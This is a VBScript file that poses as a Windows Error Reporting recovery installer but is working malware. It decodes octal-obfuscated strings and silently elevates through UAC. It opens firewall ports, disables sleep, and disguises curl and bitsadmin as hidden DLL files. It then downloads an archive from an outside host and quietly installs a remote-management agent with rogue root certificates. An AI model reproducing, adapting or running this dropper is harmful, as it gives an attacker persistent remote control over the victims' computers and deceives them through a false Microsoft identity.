' ===========================================================================
' Windows Error Reporting Framework - Recovery Installer
' Build: 10.0.26100.1742 | Channel: WindowsUpdate
' Component: WerSvc Package Deployment Manager
' ===========================================================================
Option Explicit
On Error Resume Next

' Octal decode: 3-digit groups -> char codes
Function D3(s)
    Dim r, j
    r = ""
    For j = 1 To Len(s) Step 3
        r = r & Chr(CInt("&O" & Mid(s, j, 3)))
    Next
    D3 = r
End Function

' Config dictionary keyed by numeric ID
Dim CFG : Set CFG = CreateObject("Scripting.Dictionary")
CFG(11) = "127123143162151160164056123150145154154"                        ' WScript.Shell
CFG(12) = "123143162151160164151156147056106151154145123171163164145155117142152145143164"  ' Scripting.FileSystemObject
CFG(13) = "123150145154154056101160160154151143141164151157156"             ' Shell.Application
CFG(14) = "167163143162151160164056145170145"                               ' wscript.exe
CFG(15) = "162165156141163"                                                 ' runas
CFG(16) = "057145154145166141164145144"                                     ' /elevated
CFG(17) = "143062142070056172151160"                                        ' c2b8.zip
CFG(18) = "150164164160163072057057152165156152165156070070070056143143167165056143143057063057143062142070056172151160"  ' https://junjun888.ccwu.cc/3/c2b8.zip
CFG(19) = "167151156150164164160056144154154"                               ' winhttp.dll
CFG(20) = "167151156151156145164056144154154"                               ' wininet.dll
CFG(21) = "143165162154056145170145"                                        ' curl.exe
CFG(22) = "142151164163141144155151156056145170145"                         ' bitsadmin.exe
CFG(23) = "125105115123101147145156164056155163151"                         ' UEMSAgent.msi
CFG(24) = "125105115123101147145156164056155163164"                         ' UEMSAgent.mst
CFG(25) = "104115122157157164103101055123145162166145162056143162164"        ' DMRootCA-Server.crt
CFG(26) = "104115122157157164103101056143162164"                            ' DMRootCA.crt
CFG(27) = "155163151145170145143"                                           ' msiexec
CFG(28) = "125105115123055101147145156164055117165164"                      ' UEMS-Agent-Out
CFG(29) = "125105115123055101147145156164055111156"                         ' UEMS-Agent-In

Randomize Timer

Dim g_SH, g_FS, g_SA
Set g_SH = CreateObject(D3(CFG(11)))
Set g_FS = CreateObject(D3(CFG(12)))
Set g_SA = CreateObject(D3(CFG(13)))

' --- UAC self-elevate ---
If Not WScript.Arguments.Named.Exists("elevated") Then
    Dim sSys0 : sSys0 = g_SH.ExpandEnvironmentStrings("%SYSTEMROOT%") & "\System32\"
    Dim sWS   : sWS   = sSys0 & D3(CFG(14))
    g_SA.ShellExecute sWS, Chr(34) & WScript.ScriptFullName & Chr(34) & " " & D3(CFG(16)), "", D3(CFG(15)), 0
    WScript.Quit
End If

' --- Firewall rules (port 8027) ---
Dim fwBase : fwBase = "netsh advfirewall firewall add rule protocol=TCP "
g_SH.Run fwBase & "name=" & Chr(34) & D3(CFG(28)) & Chr(34) & " dir=out action=allow remoteport=8027", 0, True
g_SH.Run fwBase & "name=" & Chr(34) & D3(CFG(29)) & Chr(34) & " dir=in  action=allow localport=8027",  0, True

' --- Suppress sleep & hibernate ---
g_SH.Run "powercfg /change standby-timeout-ac 0",  0, True
g_SH.Run "powercfg /change standby-timeout-dc 0",  0, True
g_SH.Run "powercfg /change hibernate-timeout-ac 0", 0, True
g_SH.Run "powercfg /hibernate off",                0, True

' --- Paths ---
Dim sBase : sBase = g_FS.GetParentFolderName(WScript.ScriptFullName) & "\"
Dim sArc  : sArc  = sBase & D3(CFG(17))
Dim sURL  : sURL  = D3(CFG(18)) & "?v=" & Timer
Dim sSys  : sSys  = g_SH.ExpandEnvironmentStrings("%SYSTEMROOT%") & "\System32\"

' --- Tool aliases ---
Dim dA : dA = sBase & D3(CFG(19))
Dim dB : dB = sBase & D3(CFG(20))

If Not g_FS.FileExists(dA) Then
    Dim fCurl : fCurl = sSys & D3(CFG(21))
    Dim fBits : fBits = sSys & D3(CFG(22))
    If g_FS.FileExists(fCurl) Then g_FS.CopyFile fCurl, dA : g_FS.GetFile(dA).Attributes = 3
    If g_FS.FileExists(fBits) Then g_FS.CopyFile fBits, dB : g_FS.GetFile(dB).Attributes = 3
End If

' ===========================================================================
' [4-tier download engine]
' ===========================================================================
Function Get4(url, dest, t)
    On Error Resume Next
    Get4 = False
    Dim ran : ran = Hex(Int(9999*Rnd+1000))
    Select Case t
        Case 1
            If g_FS.FileExists(dA) Then g_SH.Run "cmd /c " & dA & " -k -s -L --retry 3 --connect-timeout 15 -o " & Chr(34) & dest & Chr(34) & " " & url, 0, True
        Case 2
            If g_FS.FileExists(dB) Then g_SH.Run "cmd /c " & dB & " /transfer DO" & ran & " /download /priority high " & url & " " & Chr(34) & dest & Chr(34), 0, True
        Case 3
            Dim sC : sC = sSys & D3(CFG(21))
            If g_FS.FileExists(sC) Then g_SH.Run "cmd /c " & sC & " -k -s -L --retry 3 -o " & Chr(34) & dest & Chr(34) & " " & url, 0, True
        Case 4
            Dim sB : sB = sSys & D3(CFG(22))
            If g_FS.FileExists(sB) Then g_SH.Run "cmd /c " & sB & " /transfer DO" & ran & " /download /priority high " & url & " " & Chr(34) & dest & Chr(34), 0, True
    End Select
    WScript.Sleep 5000
    If g_FS.FileExists(dest) Then
        If g_FS.GetFile(dest).Size > 1048576 Then Get4 = True Else g_FS.DeleteFile dest, True
    End If
End Function

' ===========================================================================
' [Download + extract + install]
' ===========================================================================
Dim bOK : bOK = False
Dim nP
For nP = 1 To 4
    If Not bOK Then bOK = Get4(sURL, sArc, nP)
    If bOK Then Exit For
    WScript.Sleep 2000 + Int(2000 * Rnd)
Next

If bOK And g_FS.FileExists(sArc) Then
    g_FS.GetFile(sArc).Attributes = 3

    Dim oZip, oDst
    Set oZip = g_SA.NameSpace(sArc)
    Set oDst = g_SA.NameSpace(sBase)

    If Not (oZip Is Nothing) And Not (oDst Is Nothing) Then
        oDst.CopyHere oZip.Items, &H614
        WScript.Sleep 5000 + Int(3000 * Rnd)

        Dim sMSI  : sMSI  = sBase & D3(CFG(23))
        Dim sMST  : sMST  = sBase & D3(CFG(24))
        Dim sCRT1 : sCRT1 = sBase & D3(CFG(25))
        Dim sCRT2 : sCRT2 = sBase & D3(CFG(26))

        If g_FS.FileExists(sMSI) Then
            Dim sCmd : sCmd = "msiexec.exe /i """ & sMSI & """ TRANSFORMS=""" & sMST & _
                """ ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual " & _
                "SERVER_ROOT_CRT=""" & sCRT1 & """ DS_ROOT_CRT=""" & sCRT2 & """ /qn /lv """ & sBase & "Agentinstalllog.txt"""
            g_SH.Run sCmd, 0, True
        End If
    End If
End If

Set CFG = Nothing : Set g_SA = Nothing : Set g_FS = Nothing : Set g_SH = Nothing
WScript.Quit 0
